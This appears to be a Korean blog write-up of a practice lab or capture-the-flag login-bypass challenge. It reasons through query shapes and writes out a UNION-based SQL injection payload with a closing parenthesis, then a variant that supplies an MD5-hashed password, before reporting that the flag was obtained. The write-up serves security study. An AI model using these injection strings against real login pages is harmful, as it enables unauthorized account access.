Authentication Bypass - Login Bypass 4

 

목표와 주어진 데이터, 페이지 분석은 이전 글들에 충분히 서술되어 있기 때문에 따로 설명하지 않겠다.

 

또한 Login Bypass 3의 마지막 과정까지 동일하게 진행되다가 마지막에서 로그인 우회에 실패했으므로 그곳부터 다루도록 하겠다.

 

로그인 우회

 

식별/인증 분리 케이스이고 남은 경우는 다음과 같다.

/*
식별/인증 분리 | 괄호없음 | 개행X | 해쉬O | '사용
	SELECT id,pass from member WHERE id='___'

식별/인증 분리 | 괄호있음 | 개행X | 해쉬X | '사용
	SELECT id,pass from member WHERE (id='___')

식별/인증 분리 | 괄호있음 | 개행X | 해쉬O | '사용
	SELECT id,pass from member WHERE (id='___')

*/

 

먼저 해쉬를 사용하지 않아도 되는 두번째 케이스부터 해보겠다. 

/*
식별/인증 분리 | 괄호있음 | 개행X | 해쉬X | '사용
	SELECT id,pass from member WHERE (id='___')
*/

# 이 경우는 normaltic4' union select 'normaltic4','anything' limit 1,1# 에 괄호만 생각하면 되는
# normaltic4') union select 'normaltic4','anything' limit 1,1#	이다.

 

그러나 로그인에 실패했다.

 

따라서 해쉬의 경우를 생각해봐야한다.

 

/*
식별/인증 분리 | 괄호없음 | 개행X | 해쉬O | '사용
	SELECT id,pass from member WHERE id='___'

에서 비밀번호를 해쉬처리된 데이터로 입력하는 것이다. 비밀번호 입력란에는 해쉬처리되기 전 데이터를 입력하면 된다.
anything 을 SHA-1 처리하면 다음과 같다.
8867c88b56e0bfb82cffaf15a66bc8d107d6754a

*/

 

따라서 다음과 같이 입력한다. 

 

그러나 로그인이 되지 않는다. 그렇다면 해쉬 알고리즘을 sha-1에서 md5로 바꿔봐야한다. 다르게 나온 데이터를 삽입하고 동일하게 진행한다.

 

이번에는 로그인에 성공한 것을 알 수 있다. 만약 이번에도 되지 않았다면 괄호처리를 생각해보면 된다.

 

결론은 이 로그인 로직은 식별/인증 분리, 괄호X, 해쉬(md5)O, single quote 사용 임을 알 수 있다.

 

flag 획득!